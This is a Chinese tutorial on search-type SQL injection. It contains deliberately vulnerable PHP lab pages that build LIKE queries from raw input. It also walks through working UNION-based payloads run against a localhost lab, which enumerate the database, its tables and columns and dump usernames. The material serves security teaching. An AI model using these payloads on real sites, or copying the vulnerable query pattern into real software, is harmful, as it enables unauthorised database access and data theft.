Java教程

SQL注入——搜索型

本文主要是介绍SQL注入——搜索型,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

SQL注入—搜索型

搜索型注入—原理介绍

一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在;

其中又分为 POST/GET ,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的 method="get" 属性来区分是get还是post。搜索型注入又称为文本框注入

一般后台搜索组合的SQL语句如下:

$sql = "select * from user where password like '%$pwd%' order by password";

这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?

ryan'and 1=1 and '%'='

这样的话这句SQL语句就变成了这样:

$sql = "select * from user where password like '%ryan'and 1=1 and '%'='%' order by password";

此时就存在SQL注入。

mysql模糊查询

like 匹配/模糊匹配,会与 %_ 结合使用。

'%a'     //以a结尾的数据
'a%'     //以a开头的数据
'%a%'    //含有a的数据
'_a_'    //三位且中间字母是a的
'_a'     //两位且结尾字母是a的
'a_'     //两位且开头字母是a的

查询以 java 字段开头的信息。

SELECT * FROM position WHERE name LIKE 'java%';

查询包含 java 字段的信息。

SELECT * FROM position WHERE name LIKE '%java%';

查询以 java 字段结尾的信息。

SELECT * FROM position WHERE name LIKE '%java';

搜索型注入—注入判断

  1. 搜索 keywords' ,如果出错的话,有90%的可能性存在注入;
  2. 搜索 keywords%' and 1=1 and '%'=' (这个语句的功能就相当于普通SQL注入的 and 1=1 )看返回情况;
  3. 搜索 keywords%' and 1=2 and '%'=' (这个语句的功能就相当于普通SQL注入的 and 1=2 )看返回情况;
  4. 根据2和3的返回情况来判断是不是搜索型文本框注入了。

以下几种语句也都可以:

'and 1=1 and '%'='
%' and 1=1 --+'
%' and 1=1 and '%'='

搜索型注入—GET型案例

<?php 
header("Content-Type:text/html;charset=utf-8");
	$pwd = $_GET['pwd'];
	$conn = mysql_connect("127.0.0.1:8889","root","root");
	if($conn){
		echo "连接数据库成功!";
	}
	echo "<br>";
	mysql_select_db('ryan',$conn); 
	$sql = "select * from user where password like '%$pwd%' order by password";
	$result = mysql_query($sql);
	$row = mysql_fetch_array($result);
	if($row){
		echo "用户ID:".$row['id']."<br>";
		echo "用户名:".$row['username']."<br>";
		echo "用户密码:".$row['password']."<br>";
		echo "用户邮箱:".$row['email']."<br>";
	}else{
		print_r(mysql_error());
	}
	mysql_close($conn);
	echo "<hr>";
	echo "你当前执行的sql语句为:"."<br>";
	echo $sql;

 ?>
  1. 访问靶场

  2. 输入正常关键字进行查询

    http://localhost:8888/get.php?pwd=ryan
    

  3. 加单引号进行尝试

    http://localhost:8888/get.php?pwd=ryan'
    

    加单引号出现报错,报错中出现 % 号,猜测可能为搜索型注入

  4. 使用以下payload进行测试

    http://localhost:8888/get.php?pwd=ryan%' and 1=1 and '%'='
    或者
    http://localhost:8888/get.php?pwd=ryan%' and 1=1 --+
    

    正常显示

  5. 继续尝试以下payload

    http://localhost:8888/get.php?pwd=ryan%' and 1=2 and '%'='
    

    无内容显示

    通过以上测试,证明存在SQL注入漏洞

  6. 使用 order by 判断列数

    http://localhost:8888/get.php?pwd=ryan%' order by 5 --+
    

    order by 5时,报错

    http://localhost:8888/get.php?pwd=ryan%' order by 4 --+
    

    order by 4 时,正常显示

    说明该数据表列数为4

  7. 判断回显位

    http://localhost:8888/get.php?pwd=abc%' union select 1,2,3,4 --+
    

  8. 获取数据库名

    http://localhost:8888/get.php?pwd=abc%' union select 1,database(),version(),4 --+
    

  9. 获取表名

    http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4 --+
    

  10. 获取列名

    http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='user'),3,4 --+
    

  11. 获取数据

    http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(username) from user),3,4 --+
    

搜索型注入—POST型案例

<?php 
header("Content-Type:text/html;charset=utf-8");
	$id = $_POST['id'];
	$conn = mysql_connect("127.0.0.1:8889","root","root");
	if($conn){
		echo "连接数据库成功!";
	}
	echo "<br>";
	mysql_select_db('ryan',$conn); 
	$sql = "select * from user where id like '%$id%' order by id";
	$result = mysql_query($sql);
	$row = mysql_fetch_array($result);
	if($row){
		echo "用户ID:".$row['id']."<br>";
		echo "用户名:".$row['username']."<br>";
		echo "用户密码:".$row['password']."<br>";
		echo "用户邮箱:".$row['email']."<br>";
	}else{
		print_r(mysql_error());
	}
	mysql_close($conn);
	echo "<hr>";
	echo "你当前执行的sql语句为:"."<br>";
	echo $sql;

 ?>

<form action="" method="POST">
	id:<input name="id" type="text" /><br><br>  
	<input name="" type="submit" value="提交" />  
</form>
  1. 访问靶场

  2. 正常查询id,使用burp抓包

  3. 加单引号进行尝试

    id=1'
    

    出现报错,且报错中出现 % 号,猜测是搜索型注入

  4. 使用以下payload进行测试

    id=1%' and 1=1 --+
    

    正常显示

    id=1%' and 1=2 --+
    

    无显示,判断存在注入

  5. 使用order by 判断列数

    id=1%' order by 5 --+
    

    id=1%' order by 4 --+
    

    说明该表列数为4

  6. 判断回显位

    id=abc%' union select 1,2,3,4 --+
    

其他操作跟以上GET型案例相同

这篇关于SQL注入——搜索型的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!